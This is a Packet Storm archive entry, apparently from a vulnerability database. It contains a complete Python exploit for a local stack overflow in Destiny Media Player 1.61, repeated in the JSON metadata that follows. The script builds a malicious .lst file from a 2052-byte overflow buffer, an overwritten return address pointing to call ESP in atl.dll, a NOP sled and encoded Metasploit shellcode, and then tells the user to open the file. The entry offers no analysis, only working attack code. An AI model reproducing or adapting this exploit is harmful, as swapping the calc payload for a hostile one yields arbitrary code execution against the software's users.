ID PACKETSTORM:73570
Type packetstorm
Reporter suN8Hclf
Modified 2009-01-06T00:00:00
Description
`print "====================================================================="
print " Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit\n"
print " Discovered by : Encrypt3d.M!nd"
print " exploit code by : suN8Hclf"
print " Tested on : Windows 2000 SP4 Polish"
print " Greetings to : 0in, Gynvael Coldwind, doctor, Katharsis, SkD"
print "====================================================================="
buffer = "\x41" * 2052
NEW_EIP = "\x33\x08\x3a\x77" #call ESP from atl.dll
nops = "\x90" * 10
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
"\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
"\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
"\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
"\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
"\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
"\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
"\xac\x2c\xc9\x40"
)
exploit = buffer + NEW_EIP + nops + shellcode
try:
out_file = open("open_me.lst",'w')
out_file.write(exploit)
out_file.close()
raw_input("\nNow open open_me.lst file to exploit bug!\n")
except:
print "WTF?"
`
{"sourceHref": "https://packetstormsecurity.com/files/download/73570/dmp161lst2-overflow.txt", "sourceData": "`print \"=====================================================================\" \nprint \" Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit\\n\" \nprint \" Discovered by : Encrypt3d.M!nd\" \nprint \" exploit code by : suN8Hclf\" \nprint \" Tested on : Windows 2000 SP4 Polish\" \nprint \" Greetings to : 0in, Gynvael Coldwind, doctor, Katharsis, SkD\" \nprint \"=====================================================================\" \n \nbuffer = \"\\x41\" * 2052 \nNEW_EIP = \"\\x33\\x08\\x3a\\x77\" #call ESP from atl.dll \nnops = \"\\x90\" * 10 \n \n# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com \nshellcode = ( \n\"\\x29\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xc9\" \n\"\\x2c\\xc9\\x40\\x83\\xeb\\xfc\\xe2\\xf4\\x35\\xc4\\x8d\\x40\\xc9\\x2c\\x42\\x05\" \n\"\\xf5\\xa7\\xb5\\x45\\xb1\\x2d\\x26\\xcb\\x86\\x34\\x42\\x1f\\xe9\\x2d\\x22\\x09\" \n\"\\x42\\x18\\x42\\x41\\x27\\x1d\\x09\\xd9\\x65\\xa8\\x09\\x34\\xce\\xed\\x03\\x4d\" \n\"\\xc8\\xee\\x22\\xb4\\xf2\\x78\\xed\\x44\\xbc\\xc9\\x42\\x1f\\xed\\x2d\\x22\\x26\" \n\"\\x42\\x20\\x82\\xcb\\x96\\x30\\xc8\\xab\\x42\\x30\\x42\\x41\\x22\\xa5\\x95\\x64\" \n\"\\xcd\\xef\\xf8\\x80\\xad\\xa7\\x89\\x70\\x4c\\xec\\xb1\\x4c\\x42\\x6c\\xc5\\xcb\" \n\"\\xb9\\x30\\x64\\xcb\\xa1\\x24\\x22\\x49\\x42\\xac\\x79\\x40\\xc9\\x2c\\x42\\x28\" \n\"\\xf5\\x73\\xf8\\xb6\\xa9\\x7a\\x40\\xb8\\x4a\\xec\\xb2\\x10\\xa1\\xdc\\x43\\x44\" \n\"\\x96\\x44\\x51\\xbe\\x43\\x22\\x9e\\xbf\\x2e\\x4f\\xa8\\x2c\\xaa\\x02\\xac\\x38\" \n\"\\xac\\x2c\\xc9\\x40\" \n) \n \nexploit = buffer + NEW_EIP + nops + shellcode \ntry: \nout_file = open(\"open_me.lst\",'w') \nout_file.write(exploit) \nout_file.close() \nraw_input(\"\\nNow open open_me.lst file to exploit bug!\\n\") \nexcept: \nprint \"WTF?\" \n`\n", "edition": 1, "references": [], "modified": "2009-01-06T00:00:00", "hash": "8c93fe476c7518ad4dcd3b0e62e6e622c6f6ad5d9f898e63cca64cc4f7095041", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/73570/Destiny-Media-Player-1.61-.lst-File-Exploit.html", "description": "", "id": "PACKETSTORM:73570", "reporter": "suN8Hclf", "lastseen": "2016-11-03T10:22:42", "published": "2009-01-06T00:00:00", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-11-03T10:22:42"}, "dependencies": {"references": [], "modified": "2016-11-03T10:22:42"}, "vulnersScore": 0.1}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "Destiny Media Player 1.61 .lst File Exploit", "viewCount": 0, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "da10f2f448009a6edaadfe71c472ba3a", "key": "href"}, {"hash": "ffb132869a5f6af02758cd51c6f5f211", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "ffb132869a5f6af02758cd51c6f5f211", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "679edc34296a823527e014df664fce07", "key": "reporter"}, {"hash": "42b5482791637d8cb5c3a749bc3e73c7", "key": "sourceData"}, {"hash": "f85fc1bcd2fb92d2bf004efa390436fa", "key": "sourceHref"}, {"hash": "9c742e0a9230715a96d327399f32ddac", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}
{}
